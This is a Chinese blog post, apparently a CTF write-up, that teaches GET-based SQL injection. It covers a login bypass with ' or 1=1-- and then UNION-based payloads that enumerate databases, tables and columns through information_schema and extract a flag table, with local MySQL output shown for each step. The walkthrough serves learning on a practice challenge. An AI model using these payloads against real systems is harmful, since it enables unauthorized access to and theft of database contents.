简单sql注入|使用语句

这道题是一道get注入题

语句的使用

假如我们有一个users表,里面有两个字段username和password。在我们的java代码中我们初学者都习惯用sql拼接的方式进行用户验证。比如:"select id from users where username = '"+username +"' and password = '" + password +"'" 这里的username和password都是我们存取从web表单获得的数据。下面我们来看一下一种简单的注入,如果我们在表单中username的输入框中输入' or 1=1-- ,password的表单中随便输入一些东西,假如这里输入123.此时我们所要执行的sql语句就变成了select id from users where username = '' or 1=1-- and password = '123',我们来看一下这个sql,因为1=1是true,后面 and password = '123'被注释掉了。

本段转自sql注入原理
查询知道当前数据库是mysql,其中中有select database();语句,可以查询当前数据库名称。
Union是联合查找。
通过我自己的mysql实验得出

mysql> select * from info union select 1,2,3,4,5,6,7,1,2,4,database()
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | database() |
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | student    |
+---+---+---+---+---+---+---+---+---+---+---+------------+

需要输入正确的列数才能获取结果。
由此构造1 ' union select 1,2,3,database()#提交,得出库名pentesterlab,这里#是注释掉后面的语句。
接下来爆表名,select from where是一个语句,可以用来查询表中某一列的值,结果可以是返回多行,用我自己的mysql试验之后发现是没有问题是。
在mysql中有一个information_schema,是mysql自带的数据库,库内有一个TABLE表,表中存放了如下两个关键的数据


第一个是数据库的库名,第二个是表名。但这个库和我们所在的库不是同一个库,关于mysql的跨库查询是可以直接用点路径
select * from info union select 1,2,3,4,5,6,7,1,2,3,4,table_name from information_schema.tables where table_schema='student';
再次拿自己的mysql进行实验,发现使用这句语句时可以访问到查询的数据库内拥有的表。(库内搞了太多字段了写的蛋疼。。。)

mysql> select 1,2,3,4,5,6,7,1,2,3,4,table_name from information_schema.tables where table_schema='student';
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | TABLE_NAME |
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | info       |
+---+---+---+---+---+---+---+---+---+---+---+------------+

所以构造语句
1 ' union select 1,2,3,table_name from information_schema.tables where table_schema='pentesterlab'#


ctf比赛中的目的是获取flag,而这里有一个flag表,所以接下来的行动就是爆表了。。
同样是information_schema库,库内有COLUMNS这个表:主要的结构如下

以我的数据库为例,hhhm是我的mysql中的其中一个库名,blog_article_title是我的库内的一个表。查看navicat可以知道我的表内有这些,与上面的相对应。最后一个column_name就是我们要爆的表的字段名。

所以依旧构造语句

mysql> select 1,2,3,4,5,6,7,1,2,3,4,column_name from information_schema.columns where table_schema='student';
+---+---+---+---+---+---+---+---+---+---+---+-------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | COLUMN_NAME |
+---+---+---+---+---+---+---+---+---+---+---+-------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 学号        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 姓名        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 性别        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 生日        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 学籍        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 学院        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 专业        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 班级        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 校区        |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 毕业高中    |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 所在地      |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 手机号      |
+---+---+---+---+---+---+---+---+---+---+---+-------------

先试自己,发现确实如此!
1' union select 1,2,3,column_name from information_schema.columns where table_name='flag'#


该flag的表内有id和flag两个字段,有四行。最后就很容易了:
1' union select 1,2,3,flag from flag#

得出答案

关于information_schema的得知

参考自点击查看

欢迎访问我的博客www.redmango.top

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容